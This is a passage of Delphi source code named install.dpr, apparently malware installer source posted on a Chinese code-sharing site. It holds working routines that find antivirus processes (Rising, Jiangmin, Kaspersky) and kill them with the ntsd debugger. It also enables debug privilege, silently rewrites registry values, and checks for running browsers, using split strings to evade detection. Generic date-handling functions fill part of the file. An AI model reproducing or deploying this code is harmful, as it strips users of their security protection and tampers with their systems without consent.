📄 install.dpr
字号:
pgh:array[1..maxp] of integer;
i:integer;
begin
result:=false;
for i:=1 to maxp do
begin
pg[i]:='';
pgh[i]:=0;
end;
pg[1]:='RUNIEP.EXE';//瑞星kaka
pg[2]:='KRegEx.exe';
pg[3]:='KVXP.kxp';
//pg[4]:='KVMonXP.kxp';
//pg[5]:='trojdie.kxp';
//pg[6]:='uihost.exe';
sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
found := process32first(sshandle, lppe);
while found do
begin
for i:=1 to maxp do
if pg[i]<>'' then
if ansiCompareText(lowercase(ExtractFileName(lppe.szExefile)),lowercase(pg[i])) = 0 then
begin
//result:=true;
//break;
pgh[i]:=lppe.th32ProcessID;
end;
//if result then break;
found := process32next(sshandle, lppe);
sleep(1);
end;
CloseHandle(sshandle);
for i:=1 to maxp do
if pgh[i]<>0 then
begin
winexec(pchar('ntsd -c q -p '+inttostr(pgh[i])),SW_MINIMIZE);
end;
end;
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;
Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall;external advapi32 name 'RegSetValueExA';
procedure CreateRegKeyValue(Root: DWORD; const Key, ValueName, Value: string);
var
KeyHandle: HKey;
buff:array[0..1000] of char;
i:integer;
rType: LongInt;
ie,s,t,tmp,jl,v,vv:string;
d:boolean;
begin
try
if RegOpenKey(root, PChar(key), KeyHandle) = ERROR_SUCCESS then
try
RegQueryValueEx(KeyHandle,pchar(ValueName),nil,@rType,@buff,@i);
RegQueryValueEx(KeyHandle,pchar(ValueName),nil,@rType,@buff,@i);
ie:=buff;
ie:=trim(ie);
s:=value;
i:=pos(s,ie);
if i<=0 then
begin
d:=true;
i:=pos('_',s);
if i>1 then
begin
t:=copy(s,1,i);
v:=copy(s,i+1,length(t));
i:=pos('.',v);
v:=trim(copy(v,1,i-1));
if v='' then v:='0';
tmp:='';
while true do
begin
if trim(ie)='' then break;
i:=pos(',',ie);
if i>0 then
begin
jl:=copy(ie,1,i-1);
ie:=copy(ie,i+1,length(ie));
end
else
begin
jl:=ie;
ie:='';
end;
if pos(t,jl)<=0 then
begin
if trim(jl)<>'' then
begin
if tmp='' then tmp:=jl
else tmp:=tmp+','+jl;
end;
end
else
begin
i:=pos(t,jl);
vv:=copy(jl,i+length(t),length(jl));
i:=pos('.',vv);
vv:=trim(copy(vv,1,i-1));
if vv='' then vv:='0';
if strtoint(v)<=strtoint(vv) then
d:=false;
end;
end;
end;
if d=false then exit;
ie:=tmp+','+s;
//i:=GetVolumeMute(WaveOut);
//SetVolumeMute(WaveOut,true);
//CreateThread(nil, 0, @CloseKaoBa, nil, 0, thh);
EnabledDebugPrivilege(true);
haskv;
sleep(2000);
RegSetValueEx(KeyHandle, pchar(ValueName), 0, REG_SZ,PChar(ie), Length(ie) + 1);
sleep(5000);
//if i=0 then
// SetVolumeMute(WaveOut,false);
end;
finally
RegCloseKey(KeyHandle);
end;
except
end;
end;
type
PDayTable = ^TDayTable;
TDayTable = array[1..12] of Word;
TTimeStamp = record
Time: Integer; { Number of milliseconds since midnight }
Date: Integer; { One plus number of days since 1/1/0001 }
end;
const
HoursPerDay = 24;
MinsPerHour = 60;
SecsPerMin = 60;
MSecsPerSec = 1000;
MinsPerDay = HoursPerDay * MinsPerHour;
SecsPerDay = MinsPerDay * SecsPerMin;
MSecsPerDay = SecsPerDay * MSecsPerSec;
FMSecsPerDay: Single = MSecsPerDay;
IMSecsPerDay: Integer = MSecsPerDay;
DateDelta = 693594;
MonthDays: array [Boolean] of TDayTable =
((31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31),
(31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31));
function DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;
asm
PUSH EBX
{$IFDEF PIC}
PUSH EAX
CALL GetGOT
MOV EBX,EAX
POP EAX
{$ELSE}
XOR EBX,EBX
{$ENDIF}
MOV ECX,EAX
FLD DateTime
FMUL [EBX].FMSecsPerDay
SUB ESP,8
FISTP QWORD PTR [ESP]
FWAIT
POP EAX
POP EDX
OR EDX,EDX
JNS @@1
NEG EDX
NEG EAX
SBB EDX,0
DIV [EBX].IMSecsPerDay
NEG EAX
JMP @@2
@@1: DIV [EBX].IMSecsPerDay
@@2: ADD EAX,DateDelta
MOV [ECX].TTimeStamp.Time,EDX
MOV [ECX].TTimeStamp.Date,EAX
POP EBX
end;
procedure DivMod(Dividend: Integer; Divisor: Word;
var Result, Remainder: Word);
asm
PUSH EBX
MOV EBX,EDX
MOV EDX,EAX
SHR EDX,16
DIV BX
MOV EBX,Remainder
MOV [ECX],AX
MOV [EBX],DX
POP EBX
end;
function IsLeapYear(Year: Word): Boolean;
begin
Result := (Year mod 4 = 0) and ((Year mod 100 <> 0) or (Year mod 400 = 0));
end;
function DecodeDateFully(const DateTime: TDateTime; var Year, Month, Day, DOW: Word): Boolean;
const
D1 = 365;
D4 = D1 * 4 + 1;
D100 = D4 * 25 - 1;
D400 = D100 * 4 + 1;
var
Y, M, D, I: Word;
T: Integer;
DayTable: PDayTable;
begin
T := DateTimeToTimeStamp(DateTime).Date;
if T <= 0 then
begin
Year := 0;
Month := 0;
Day := 0;
DOW := 0;
Result := False;
end else
begin
DOW := T mod 7 + 1;
Dec(T);
Y := 1;
while T >= D400 do
begin
Dec(T, D400);
Inc(Y, 400);
end;
DivMod(T, D100, I, D);
if I = 4 then
begin
Dec(I);
Inc(D, D100);
end;
Inc(Y, I * 100);
DivMod(D, D4, I, D);
Inc(Y, I * 4);
DivMod(D, D1, I, D);
if I = 4 then
begin
Dec(I);
Inc(D, D1);
end;
Inc(Y, I);
Result := IsLeapYear(Y);
DayTable := @MonthDays[Result];
M := 1;
while True do
begin
I := DayTable^[M];
if D < I then Break;
Dec(D, I);
Inc(M);
end;
Year := Y;
Month := M;
Day := D + 1;
end;
end;
procedure DecodeDate(const DateTime: TDateTime; var Year, Month, Day: Word);
var
Dummy: Word;
begin
DecodeDateFully(DateTime, Year, Month, Day, Dummy);
end;
procedure DecodeTime(const DateTime: TDateTime; var Hour, Min, Sec, MSec: Word);
var
MinCount, MSecCount: Word;
begin
DivMod(DateTimeToTimeStamp(DateTime).Time, SecsPerMin * MSecsPerSec, MinCount, MSecCount);
DivMod(MinCount, MinsPerHour, Hour, Min);
DivMod(MSecCount, MSecsPerSec, Sec, MSec);
end;
procedure DecodeDateTime(const AValue: TDateTime; out AYear, AMonth, ADay,
AHour, AMinute, ASecond, AMilliSecond: Word);
begin
DecodeDate(AValue, AYear, AMonth, ADay);
DecodeTime(AValue, AHour, AMinute, ASecond, AMilliSecond);
end;
procedure DateTimeToSystemTime(const DateTime: TDateTime; var SystemTime: TSystemTime);
begin
with SystemTime do
begin
DecodeDateFully(DateTime, wYear, wMonth, wDay, wDayOfWeek);
Dec(wDayOfWeek);
DecodeTime(DateTime, wHour, wMinute, wSecond, wMilliseconds);
end;
end;
function TryEncodeDate(Year, Month, Day: Word; out Date: TDateTime): Boolean;
var
I: Integer;
DayTable: PDayTable;
begin
Result := False;
DayTable := @MonthDays[IsLeapYear(Year)];
if (Year >= 1) and (Year <= 9999) and (Month >= 1) and (Month <= 12) and
(Day >= 1) and (Day <= DayTable^[Month]) then
begin
for I := 1 to Month - 1 do Inc(Day, DayTable^[I]);
I := Year - 1;
Date := I * 365 + I div 4 - I div 100 + I div 400 + Day - DateDelta;
Result := True;
end;
end;
function EncodeDate(Year, Month, Day: Word): TDateTime;
begin
TryEncodeDate(Year, Month, Day, Result);
end;
function TryEncodeTime(Hour, Min, Sec, MSec: Word; out Time: TDateTime): Boolean;
begin
Result := False;
if (Hour < HoursPerDay) and (Min < MinsPerHour) and (Sec < SecsPerMin) and (MSec < MSecsPerSec) then
begin
Time := (Hour * (MinsPerHour * SecsPerMin * MSecsPerSec) +
Min * (SecsPerMin * MSecsPerSec) +
Sec * MSecsPerSec +
MSec) / MSecsPerDay;
Result := True;
end;
end;
function EncodeTime(Hour, Min, Sec, MSec: Word): TDateTime;
begin
TryEncodeTime(Hour, Min, Sec, MSec, Result);
end;
function Now: TDateTime;
var
SystemTime: TSystemTime;
begin
GetLocalTime(SystemTime);
with SystemTime do
Result := EncodeDate(wYear, wMonth, wDay) +
EncodeTime(wHour, wMinute, wSecond, wMilliseconds);
end;
function HasWebbrowser:boolean;
const maxp=5;
var
lppe: tprocessentry32;
sshandle: thandle;
found: boolean;
pg:array[1..maxp] of string;
i:integer;
s:string;
begin
result:=false;
s:='IE';
s:=s+'Frame';
if Findwindow(pchar(s),nil)>0 then
begin
result:=true;
exit;
end;
for i:=1 to maxp do
pg[i]:='';
pg[1]:='TTraveler.';
pg[1]:=pg[1]+'exe';
pg[2]:='Maxthon.exe';
pg[3]:='iexploer.exe';
sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
found := process32first(sshandle, lppe);
while found do
begin
for i:=1 to maxp do
if pg[i]<>'' then
if ansiCompareText(lowercase(ExtractFileName(lppe.szExefile)),lowercase(pg[i])) = 0 then
begin
result:=true;
break;
end;
if result then break;
found := process32next(sshandle, lppe);
sleep(1);
end;
CloseHandle(sshandle);
end;
function HasKaba:boolean;
const maxp=6;
var
lppe: tprocessentry32;
sshandle: thandle;
found: boolean;
pg:array[1..maxp] of string;
pgh:array[1..maxp] of integer;
i:integer;
begin
result:=false;
for i:=1 to maxp do
begin
pg[i]:='';
pgh[i]:=0;
end;
pg[2]:='avp.exe';
sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
found := process32first(sshandle, lppe);
while found do
begin
for i:=1 to maxp do
if pg[i]<>'' then
if ansiCompareText(lowercase(ExtractFileName(lppe.szExefile)),lowercase(pg[i])) = 0 then
begin
result:=true;
break;
pgh[i]:=lppe.th32ProcessID;
end;
if result then break;
found := process32next(sshandle, lppe);
sleep(1);
end;
CloseHandle(sshandle);
end;
function TryEncodeDateTime(const AYear, AMonth, ADay, AHour, AMinute, ASecond,
AMilliSecond: Word; out AValue: TDateTime): Boolean;
var
LTime: TDateTime;
begin
Result := TryEncodeDate(AYear, AMonth, ADay, AValue);
if Result then
begin
Result := TryEncodeTime(AHour, AMinute, ASecond, AMilliSecond, LTime);
if Result then
AValue := AValue + LTime;
end;
end;
function EncodeDateTime(const AYear, AMonth, ADay, AHour, AMinute, ASecond,
AMilliSecond: Word): TDateTime;
begin
TryEncodeDateTime(AYear, AMonth, ADay,
AHour, AMinute, ASecond, AMilliSecond, Result);
end;
procedure CreateBakRegKeyValue(Root: DWORD; const Key, ValueName, Value: string);
var
KeyHandle: HKey;
buff:array[0..1000] of char;
i:integer;
rType: LongInt;
ie,s:string;
begin
try
if RegOpenKey(root, PChar(key), KeyHandle) <> ERROR_SUCCESS then
RegcreateKey(root, PChar(key), KeyHandle);
if RegOpenKey(root, PChar(key), KeyHandle) = ERROR_SUCCESS then
try
RegQueryValueEx(KeyHandle,pchar(ValueName),nil,@rType,@buff,@i);
RegQueryValueEx(KeyHandle,pchar(ValueName),nil,@rType,@buff,@i);
ie:=buff;
ie:=trim(ie);
s:=trim(value);
if lowercase(s)<>lowercase(ie) then
RegSetValueEx(KeyHandle, pchar(ValueName), 0, REG_SZ,PChar(s), Length(s) + 1);
finally
RegCloseKey(KeyHandle);
end;
except
end;
end;
//function Delete_File(lpFileName: PChar): BOOL; stdcall;external kernel32 name 'DeleteFileA';
procedure mydeletefile(fn:string);
var p:pchar;
begin
if FileExists(fn) then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -